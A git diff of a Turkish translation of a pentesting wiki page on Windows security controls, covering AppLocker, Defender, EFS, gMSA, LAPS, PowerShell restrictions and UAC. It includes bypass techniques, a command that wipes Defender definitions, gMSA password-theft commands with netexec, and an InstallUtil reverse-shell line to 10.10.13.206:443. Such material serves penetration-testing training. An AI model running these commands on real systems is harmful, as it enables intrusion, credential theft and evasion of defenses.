@ -4,14 +4,15 @@
## AppLocker Politikası
Uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya yürütülebilir dosyaların listesidir. Amaç, ortamı zararlı malware ve kuruluşun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır.
Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalışmasına izin verilen onaylanmış yazılım uygulamaları veya çalıştırılabilir dosyaların listesidir. Amaç, ortamı zararlı malware ve kuruluşun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümü** olup sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği** üzerinde kontrol sağlar. Yürütülebilir dosyalar, scripts, Windows kurulum dosyaları, DLLs, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri üzerinde **ayrıntılı kontrol** sağlar.\
Kuruluşlarda genellikle belirli dizinlere yazma erişimini kısıtlamak ve **cmd.exe and PowerShell.exe** engellemeleri yaygındır, **ancak bunların tamamı atlatılabilir**.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği** üzerinde kontrol sağlar.\
Çalıştırılabilir dosyalar, scriptler, Windows installer dosyaları, DLL'ler, paketlenmiş uygulamalar ve paket uygulama yükleyicileri üzerinde **ayrıntılı kontrol** sağlar.\
Kuruluşların **cmd.exe ve PowerShell.exe**'i engellemesi ve belirli dizinlere yazma erişimini kısıtlaması yaygındır, **ancak bunların tamamı atlatılabilir**.
### Kontrol
Hangi dosyaların/uzantıların kara listeye/beyaz listeye alındığını kontrol edin:
Hangi dosyaların/uzantıların kara listeye veya beyaz listeye alındığını kontrol edin:
```bash
Get-ApplockerPolicy -Effective -xml
@ -20,39 +21,39 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve politikaları içerir; sistemde uygulanan mevcut kurallar kümesini gözden geçirmek için bir yol sağlar:
Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve politikaları içerir; sistemde uygulanan mevcut kural setini incelemek için bir yol sağlar:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Bypass
- AppLocker Policy'yi bypass etmek için kullanışlı **yazılabilir klasörler**: Eğer AppLocker `C:\Windows\System32` veya `C:\Windows` içindeki herhangi bir şeyin çalıştırılmasına izin veriyorsa, bunu bypass etmek için kullanabileceğiniz **yazılabilir klasörler** vardır.
- AppLocker Policy'yi bypass etmek için kullanışlı **Writable folders**: Eğer AppLocker `C:\Windows\System32` veya `C:\Windows` içinde herhangi bir şeyin çalıştırılmasına izin veriyorsa, bunu **bypass** etmek için kullanabileceğiniz **writable folders** vardır.
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- Yaygın olarak **güvenilen** [**"LOLBAS's"**](https://lolbas-project.github.io/) ikili dosyalar AppLocker'ı atlatmak için de faydalı olabilir.
- **Zayıf yazılmış kurallar da atlatılabilir**
- Örneğin, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, her yere **`allowed` adlı bir klasör** oluşturabilirsiniz ve bu klasör izinli olacaktır.
- Kuruluşlar genellikle **`%System32%\WindowsPowerShell\v1.0\powershell.exe` yürütülebilir dosyasını engellemeye** odaklanır, ancak `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` veya `PowerShell_ISE.exe` gibi **diğer** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) konumlarını unuturlar.
- Sistem üzerinde ek yük getirebileceği ve hiçbir şeyin bozulmayacağından emin olmak için gereken test miktarı nedeniyle **DLL enforcement çok nadiren etkinleştirilir**. Bu yüzden **DLL'leri arka kapı olarak kullanmak AppLocker'ı atlatmaya yardımcı olur**.
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanarak herhangi bir süreçte **Powershell** kodu **execute** edebilir ve AppLocker'ı atlayabilirsiniz. Daha fazla bilgi için bakınız: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
- Genellikle **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) ikili dosyalar AppLocker'ı atlatmak için de faydalı olabilir.
- **Kötü yazılmış kurallar da atlatılabilir**
- Örneğin, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, her yerde **`allowed` adında bir klasör** oluşturabilirsiniz ve izin verilecektir.
- Organizasyonlar genellikle **`%System32%\WindowsPowerShell\v1.0\powershell.exe` yürütülebilir dosyasını engellemeye** odaklanır, ancak **diğer** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) gibi `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` veya `PowerShell_ISE.exe` gibi yerleri unuturlar.
- **DLL enforcement çok nadiren etkinleştirilir** çünkü sisteme ek yük getirebilir ve hiçbir şeyin bozulmayacağından emin olmak için gereken test miktarı fazladır. Bu yüzden **DLL'leri backdoors olarak kullanmak AppLocker'ı atlatmaya yardımcı olur**.
- ReflectivePick veya SharpPick kullanarak herhangi bir süreçte **Powershell** kodu çalıştırabilir ve AppLocker'ı atlatabilirsiniz. Daha fazla bilgi için bakın: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## Credentials Storage
## Kimlik Bilgileri Depolama
### Security Accounts Manager (SAM)
Yerel kimlik bilgileri bu dosyada bulunur; parolalar hashlenmiştir.
Yerel kimlik bilgileri bu dosyada bulunur, parolalar hashlenmiştir.
### Local Security Authority (LSA) - LSASS
The **credentials** (hashed) are **saved** in the **memory** of this subsystem for Single Sign-On reasons.\
**LSA** administrates the local **security policy** (password policy, users permissions...), **authentication**, **access tokens**...\
LSA will be the one that will **check** for provided credentials inside the **SAM** file (for a local login) and **talk** with the **domain controller** to authenticate a domain user.
Kimlik bilgileri (hashlenmiş) Single Sign-On nedenleriyle bu alt sistemin **belleğinde** saklanır.\
**LSA** yerel **güvenlik politikasını** (parola politikası, kullanıcı izinleri...), **authentication**, **access tokens**... yönetir.\
LSA, sağlanan kimlik bilgilerini yerel giriş için **SAM** dosyası içinde **kontrol edecek** ve bir domain kullanıcısını doğrulamak için **domain controller** ile **iletişime geçecektir**.
The **credentials** are **saved** inside the **process LSASS**: Kerberos tickets, hashes NT and LM, easily decrypted passwords.
Kimlik bilgileri **LSASS** sürecinin içinde saklanır: Kerberos ticket'ları, NT ve LM hash'leri, kolayca çözülebilen parolalar.
### LSA secrets
@ -61,19 +62,19 @@ LSA bazı kimlik bilgilerini diske kaydedebilir:
- Active Directory bilgisayar hesabının parolası (ulaşılamayan domain controller).
- Windows servis hesaplarının parolaları
- Zamanlanmış görevler için parolalar
- Diğerleri (IIS uygulamalarının parolası...)
- Diğer (IIS uygulamalarının parolası...)
### NTDS.dit
Active Directory'nin veritabanıdır. Yalnızca Domain Controllers üzerinde bulunur.
Active Directory'nin veritabanıdır. Sadece Domain Controller'larda bulunur.
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) Windows 10 ve Windows 11'de ve Windows Server sürümlerinde bulunan bir antivirüstür. **WinPEAS** gibi yaygın pentesting araçlarını **engeller**. Ancak, bu korumaları **atlatmanın** yolları vardır.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) Windows 10 ve Windows 11'de ve Windows Server sürümlerinde bulunan bir Antivirus'tür. `WinPEAS` gibi yaygın pentesting araçlarını **engeller**. Ancak bu korumaları **atlatmanın** yolları vardır.
### Check
Defender'ın **durumunu** kontrol etmek için PS cmdlet'i **`Get-MpComputerStatus`** çalıştırabilirsiniz (aktif olup olmadığını öğrenmek için **`RealTimeProtectionEnabled`** değerini kontrol edin):
Defender'ın **durumunu** kontrol etmek için PS cmdlet'i **`Get-MpComputerStatus`** çalıştırabilirsiniz (etkin olup olmadığını öğrenmek için **`RealTimeProtectionEnabled`** değerine bakın):
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -92,7 +93,7 @@ NISEngineVersion : 0.0.0.0
PSComputerName :
</code></pre>
Ayrıca bunu listelemek için şunu da çalıştırabilirsiniz:
Bunu enumerate etmek için ayrıca şunu da çalıştırabilirsiniz:
```bash
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
@ -101,55 +102,54 @@ sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
## Encrypted File System (EFS)
## Şifrelenmiş Dosya Sistemi (EFS)
EFS, dosyaları şifreleyerek korur ve bunun için **File Encryption Key (FEK)** olarak bilinen bir **simetrik anahtar** kullanır. Bu anahtar kullanıcının **public key**i ile şifrelenir ve şifreli dosyanın $EFS **alternative data stream** içinde saklanır. Dekriptaj gerektiğinde, ilgili kullanıcının dijital sertifikasının **private key**i FEK'i $EFS akışından deşifre etmek için kullanılır. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
EFS, dosyaları şifreleyerek korur ve bunun için **symmetric key** olarak bilinen **File Encryption Key (FEK)**'i kullanır. Bu anahtar kullanıcıya ait **public key** ile şifrelenir ve şifrelenmiş dosyanın $EFS **alternative data stream**'inde saklanır. Deşifre gerektiğinde, kullanıcının dijital sertifikasının ilgili **private key**'i FEK'i $EFS akışından çözmek için kullanılır. Daha fazla detay için [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
**Kullanıcının başlatması olmadan deşifre senaryoları** şunlardır:
**Kullanıcı başlatması olmadan deşifre senaryoları** şunlardır:
- Dosyalar veya klasörler non-EFS dosya sistemine, ör. [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), taşındığında otomatik olarak deşifre edilir.
- SMB/CIFS protokolü üzerinden ağda gönderilen şifreli dosyalar iletimden önce deşifre edilir.
- Dosyalar veya klasörler non-EFS bir dosya sistemine, örn. [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), taşındığında otomatik olarak deşifre edilir.
- SMB/CIFS protokolü üzerinden ağda gönderilen şifrelenmiş dosyalar iletimden önce deşifre edilir.
Bu şifreleme yöntemi, dosya sahibine şifreli dosyalara **şeffaf erişim** sağlar. Ancak sahibin parolasını değiştirip oturum açmak tek başına deşifreye izin vermez.
Bu şifreleme yöntemi sahibin şifrelenmiş dosyalara **transparent access** ile erişmesini sağlar. Ancak, sadece sahibin şifresini değiştirmek ve oturum açmak deşifreye izin vermez.
**Önemli Noktalar**:
**Temel Noktalar**:
- EFS, kullanıcının public key'i ile şifrelenmiş simetrik bir FEK kullanır.
- Dekriptaj, FEK'e erişmek için kullanıcının private key'ini kullanır.
- Otomatik deşifreleme, FAT32'ye kopyalama veya ağ iletimi gibi belirli koşullarda gerçekleşir.
- Şifreli dosyalara sahip tarafından ek adım gerektirmeden erişilebilir.
- EFS, kullanıcıya ait public key ile şifrelenmiş simetrik bir FEK kullanır.
- Deşifre, FEK'e erişmek için kullanıcının private key'ini kullanır.
- Otomatik deşifreleme belirli koşullarda gerçekleşir; örn. FAT32'ye kopyalama veya ağ üzerinden iletim.
- Şifrelenmiş dosyalar sahibine ek adımlar olmadan erişilebilir.
### Check EFS info
### EFS bilgilerini kontrol et
Bir **kullanıcının** bu **servisi** **kullanıp kullanmadığını** şu yolun varlığını kontrol ederek anlayabilirsiniz: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Bir **kullanıcının** bu **servisi** kullanıp kullanmadığını kontrol etmek için şu yolun var olup olmadığını denetleyin: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Dosyaya **kimin** **eriştiğini** görmek için `cipher /c \<file\>` komutunu kullanın.
Ayrıca bir klasör içinde `cipher /e` ve `cipher /d` komutlarını kullanarak tüm dosyaları **şifreleyebilir** ve **deşifre edebilirsiniz**.
Bir dosyaya **kimin** **eriştiğini** kontrol etmek için cipher /c \<file\> komutunu kullanın. Ayrıca bir klasör içinde `cipher /e` ve `cipher /d` komutlarını kullanarak tüm dosyaları **şifreleyebilir** ve **deşifre edebilirsiniz**.
### Decrypting EFS files
### EFS dosyalarının deşifre edilmesi
#### Authority System Olmak
#### SYSTEM yetkisine sahip olmak
Bu yöntem, kurban kullanıcının host üzerinde bir process çalıştırıyor olmasını gerektirir. Eğer durum buysa, bir `meterpreter` oturumu kullanarak kullanıcının process token'ını taklit edebilirsiniz (`impersonate_token` from `incognito`). Ya da doğrudan kullanıcının process'ine `migrate` edebilirsiniz.
Bu yöntem, **kurban kullanıcının** host içinde bir **process** çalıştırıyor olmasını gerektirir. Eğer durum buysa, bir `meterpreter` session'ı kullanarak kullanıcının process token'ını taklit edebilirsiniz (`impersonate_token` from `incognito`). Ya da kullanıcı process'ine `migrate` edebilirsiniz.
#### Kullanıcının parolasını bilmek
#### Kullanıcı şifresini bilmek
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
## Grup Yönetilen Servis Hesapları (gMSA)
Microsoft, IT altyapılarında service account yönetimini basitleştirmek için **Group Managed Service Accounts (gMSA)** geliştirdi. Genellikle "**Password never expire**" ayarı etkin olan geleneksel service account'lardan farklı olarak, gMSA'lar daha güvenli ve yönetilebilir bir çözüm sunar:
Microsoft, IT altyapılarında servis hesaplarının yönetimini basitleştirmek için **Group Managed Service Accounts (gMSA)**'leri geliştirdi. Genellikle "**Password never expire**" ayarı etkin olan geleneksel servis hesaplarının aksine, gMSA'lar daha güvenli ve yönetilebilir bir çözüm sunar:
- **Otomatik Parola Yönetimi**: gMSA'lar, alan (domain) veya bilgisayar politikasına göre otomatik değişen karmaşık, 240 karakterlik bir parola kullanır. Bu süreç Microsoft'un Key Distribution Service (KDC) tarafından yönetilir ve manuel parola güncellemelerine gerek bırakmaz.
- **Artırılmış Güvenlik**: Bu hesaplar kilitlenmeye karşı dayanıklıdır ve interactive logins için kullanılamaz, bu da güvenliği artırır.
- **Çoklu Host Desteği**: gMSA'lar birden fazla host arasında paylaşılabilir, bu da onları birden çok sunucuda çalışan servisler için ideal kılar.
- **Scheduled Task Desteği**: Managed service accounts'un aksine, gMSA'lar scheduled task çalıştırmayı destekler.
- **Basitleştirilmiş SPN Yönetimi**: Bilgisayarın sAMaccount bilgileri veya DNS adı değiştiğinde sistem Service Principal Name (SPN)'i otomatik günceller ve böylece SPN yönetimini basitleştirir.
- **Otomatik Parola Yönetimi**: gMSA'lar, alan veya bilgisayar politikasına göre otomatik değişen, 240 karakter uzunluğunda karmaşık bir parola kullanır. Bu işlem Microsoft'un Key Distribution Service (KDC) tarafından yönetilir ve manuel parola güncellemeleri ihtiyacını ortadan kaldırır.
- **Geliştirilmiş Güvenlik**: Bu hesaplar kilitlenmelere karşı bağışıktır ve etkileşimli oturum açma için kullanılamaz, bu da güvenliği artırır.
- **Çoklu Host Desteği**: gMSA'lar birden fazla host arasında paylaşılabilir, bu da çoklu sunucuda çalışan servisler için idealdir.
- **Zamanlanmış Görev Desteği**: Yönetilen servis hesaplarının aksine, gMSA'lar zamanlanmış görevlerin çalıştırılmasını destekler.
- **Basitleştirilmiş SPN Yönetimi**: Bilgisayarın sAMaccount detayları veya DNS adı değiştiğinde sistem otomatik olarak Service Principal Name (SPN)'i günceller, böylece SPN yönetimi basitleşir.
gMSA'ların parolaları LDAP özelliği _**msDS-ManagedPassword**_'de saklanır ve Domain Controller'lar (DC'ler) tarafından her 30 günde otomatik olarak sıfırlanır. Bu parola, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifrelenmiş bir veri blob'udur ve yalnızca yetkili yöneticiler ile gMSA'ların kurulu olduğu sunucular tarafından erişilebilir; bu da güvenli bir ortam sağlar. Bu bilgiye erişmek için LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantının 'Sealing & Secure' ile doğrulanmış olması gerekir.
gMSA parolaları LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Domain Controllers (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu parola, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifrelenmiş bir veri blob'udur ve yalnızca yetkili yöneticiler ve gMSA'ların yüklü olduğu sunucular tarafından alınabilir; bu da güvenli bir ortam sağlar. Bu bilgiye erişmek için LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile doğrulanmış olmalıdır.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
@ -159,46 +159,46 @@ Bu parolayı [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordR
```
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
Ayrıca, bu [web page](https://cube0x0.github.io/Relaying-for-gMSA/) sayfasına bakın; **NTLM relay attack** ile **gMSA**'nin **password**'unu **read** etme hakkında bilgi veriyor.
Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword)
### ACL zincirlemesini suistimal ederek gMSA yönetilen şifresini okumak (GenericAll -> ReadGMSAPassword)
Birçok ortamda, düşük ayrıcalıklı kullanıcılar, hatalı yapılandırılmış nesne ACL'lerini suistimal ederek DC'yi ele geçirmeden gMSA sırlarına erişebilirler:
Birçok ortamda, düşük ayrıcalikli kullanıcılar yanlış yapılandırılmış nesne ACLs'lerini suistimal ederek DC'yi ele geçirmeye gerek kalmadan gMSA sırlarına erişebilirler:
- Kontrol edebildiğiniz bir grup (ör. GenericAll/GenericWrite ile) gMSA üzerinde `ReadGMSAPassword` hakkı verilmiş olabilir.
- Kendinizi o gruba ekleyerek, LDAP üzerinden gMSAnin `msDS-ManagedPassword` blob'unu okuma hakkını devralırsınız ve kullanılabilir NTLM kimlik bilgileri türetebilirsiniz.
- Kontrol edebileceğiniz bir grup (örn. GenericAll/GenericWrite aracılığıyla) bir gMSA üzerinde `ReadGMSAPassword` yetkisi ile yetkilendirilir.
- Kendinizi o gruba ekleyerek, LDAP üzerinden gMSA'nın `msDS-ManagedPassword` blob'unu okuma hakkını devralırsınız ve kullanılabilir NTLM kimlik bilgilerini türetebilirsiniz.
Tipik iş akışı:
1) BloodHound ile yolu keşfedin ve foothold principals'lerinizi Owned olarak işaretleyin. Şu tür kenarlara bakın:
1) BloodHound ile yolu keşfedin ve foothold principal'lerinizi Owned olarak işaretleyin. Aşağıdaki gibi kenarları arayın:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
2) Kontrol ettiğiniz ara gruba kendinizi ekleyin (bloodyAD ile örnek):
```bash
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
```
3) LDAP üzerinden gMSA yönetilen parolasını okuyun ve NTLM hash'ini türetin. NetExec, `msDS-ManagedPassword`'in çıkarılmasını ve NTLM'ye dönüştürülmesini otomatikleştirir:
3) LDAP üzerinden gMSA yönetilen parolayı okuyun ve NTLM hash'ini türetin. NetExec, `msDS-ManagedPassword`'in çıkarılmasını ve NTLM'ye dönüştürülmesini otomatikleştirir:
```bash
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
```
4) NTLM hash kullanarak gMSA olarak kimlik doğrulayın (düz metin gerekmez). Hesap Remote Management Users içindeyse, WinRM doğrudan çalışacaktır:
4) NTLM hash kullanarak gMSA olarak kimlik doğrulayın (plaintext gerekmez). Hesap Remote Management Users içindeyse, WinRM doğrudan çalışacaktır:
```bash
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
```
Notes:
- LDAP okumaları `msDS-ManagedPassword` için sealing (ör. LDAPS/sign+seal) gerektirir. Araçlar bunu otomatik olarak halleder.
- gMSA'lara genellikle WinRM gibi yerel haklar verilir; yatay hareketi planlamak için grup üyeliğini (ör. Remote Management Users) doğrulayın.
- Sadece NTLM'i kendiniz hesaplamak için blob'a ihtiyacınız varsa, MSDS-MANAGEDPASSWORD_BLOB yapısına bakın.
Notlar:
- `msDS-ManagedPassword` için LDAP okumaları sealing gerektirir (ör. LDAPS/sign+seal). Araçlar bunu otomatik olarak halleder.
- gMSAs genellikle WinRM gibi yerel haklara sahiptir; lateral movement'ı planlamak için grup üyeliğini doğrulayın (ör. Remote Management Users).
- Eğer NTLM'i kendiniz hesaplamak için yalnızca blob'a ihtiyacınız varsa, MSDS-MANAGEDPASSWORD_BLOB yapısına bakın.
## LAPS
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), yerel Administrator parolalarının yönetilmesini sağlar. Bu parolalar **rastgele oluşturulur**, benzersizdir ve **düzenli olarak değiştirilir**, merkezi olarak Active Directory'de saklanır. Bu parolalara erişim ACL'lerle yetkilendirilmiş kullanıcılara sınırlandırılmıştır. Yeterli izin verildiğinde, yerel admin parolalarını okuma imkanı elde edilir.
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), yerel Administrator parolalarının yönetimini sağlar. Bu parolalar **rastgele oluşturulmuş**, benzersiz ve **düzenli olarak değiştirilir**; Active Directory'de merkezi olarak saklanır. Bu parolalara erişim, yetkili kullanıcılara yönelik ACL'lerle kısıtlanmıştır. Yeterli izin verildiğinde yerel admin parolalarını okuma imkânı sağlanır.
{{#ref}}
@ -207,7 +207,7 @@ The **Local Administrator Password Solution (LAPS)**, available for download fro
## PS Constrained Language Mode
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) PowerShell'i etkili kullanmak için gerekli birçok özelliği **kısıtlar**, örneğin COM objelerini engelleme, yalnızca onaylı .NET tiplerine izin verme, XAML tabanlı iş akışları, PowerShell sınıfları ve daha fazlası.
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkin şekilde kullanmak için gereken birçok özelliği kısıtlar**, örneğin COM objects'in engellenmesi, yalnızca onaylı .NET types'a izin verilmesi, XAML-based workflows, PowerShell classes ve daha fazlası.
### **Kontrol**
```bash
@ -219,8 +219,8 @@ $ExecutionContext.SessionState.LanguageMode
#Easy bypass
Powershell -version 2
```
Güncel Windows sürümlerinde bu bypass çalışmayabilir ancak [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) kullanabilirsiniz.\
**Derlemek için muhtemelen** **şunu yapmanız gerekecek:** _**Add a Reference**_ -> _Browse_ -> _Browse_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` ekleyin ve **projeyi .Net4.5'e değiştirin**.
Güncel Windows sürümlerinde bu Bypass çalışmayabilir ama[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Derlemek için gerekebilir:** _**Referans Ekle**_ -> _Gözat_ -> _Gözat_ -> add `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` ve **projeyi .Net4.5 olarak değiştirin**.
#### Doğrudan bypass:
```bash
@ -230,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanarak herhangi bir süreçte **Powershell** kodunu çalıştırabilir ve constrained mode'u bypass edebilirsiniz. Daha fazla bilgi için bakınız: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanarak herhangi bir işlemde **execute Powershell** code çalıştırabilir ve constrained mode'u atlayabilirsiniz. Daha fazla bilgi için bakınız: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## PS Yürütme Politikası
## PS Çalıştırma Politikası
Varsayılan olarak **restricted.** olarak ayarlanmıştır. Bu politikayı atlamanın başlıca yolları:
Varsayılan olarak **restricted.** olarak ayarlanmıştır. Bu politikayı atlatmanın başlıca yolları:
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
@ -254,19 +254,19 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
Daha fazlası [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
Daha fazlası için [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
## Security Support Provider Interface (SSPI)
Kullanıcıları kimlik doğrulamak için kullanılabilen bir API'dir.
Kullanıcıları kimlik doğrulamak için kullanılabilecek bir API'dir.
SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumludur. Bunun tercih edilen yöntemi Kerberos'tur. Daha sonra SSPI hangi kimlik doğrulama protokolünün kullanılacağını müzakere edecektir; bu kimlik doğrulama protokollerine Security Support Provider (SSP) denir, her Windows makinesinin içinde DLL biçiminde bulunurlar ve iki makinenin iletişim kurabilmesi için aynı SSP'yi desteklemeleri gerekir.
SSPI, iletişim kurmak isteyen iki makine için uygun protokolü belirlemekten sorumludur. Bunun tercih edilen yöntemi Kerberos'tur. SSPI daha sonra hangi kimlik doğrulama protokolünün kullanılacağını müzakere eder; bu kimlik doğrulama protokollerine Security Support Provider (SSP) denir, her Windows makinesinin içinde bir DLL şeklinde bulunurlar ve iletişim kurabilmek için her iki makinenin de aynı SSP'yi desteklemesi gerekir.
### Ana SSP'ler
- **Kerberos**: Tercih edilen
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** ve **NTLMv2**: Uyumluluk nedenleriyle
- **NTLMv1** and **NTLMv2**: Uyumluluk nedenleriyle
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: Web sunucuları ve LDAP için, parola MD5 hash biçimindedir
- %windir%\Windows\System32\Wdigest.dll
@ -275,11 +275,11 @@ SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorum
- **Negotiate**: Kullanılacak protokolü müzakere etmek için kullanılır (Kerberos veya NTLM; varsayılan Kerberos'tur)
- %windir%\Windows\System32\lsasrv.dll
#### Müzakerede birkaç yöntem veya yalnızca bir yöntem sunulabilir.
#### Müzakere birden fazla yöntem veya yalnızca bir yöntem sunabilir.
## UAC - User Account Control
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) yönetici ayrıcalığı gerektiren eylemler için bir **onay istemi** sağlayan bir özelliktir.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) yönetici yetkisi gerektiren işlemler için bir **onay istemi** sağlayan bir özelliktir.
{{#ref}}

View File

@ -2,107 +2,107 @@
{{#include ../banners/hacktricks-training.md}}
### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Windows local privilege escalation vektörlerini araştırmak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [System Info](windows-local-privilege-escalation/index.html#system-info)
- [ ] Elde edin [**System information**](windows-local-privilege-escalation/index.html#system-info)
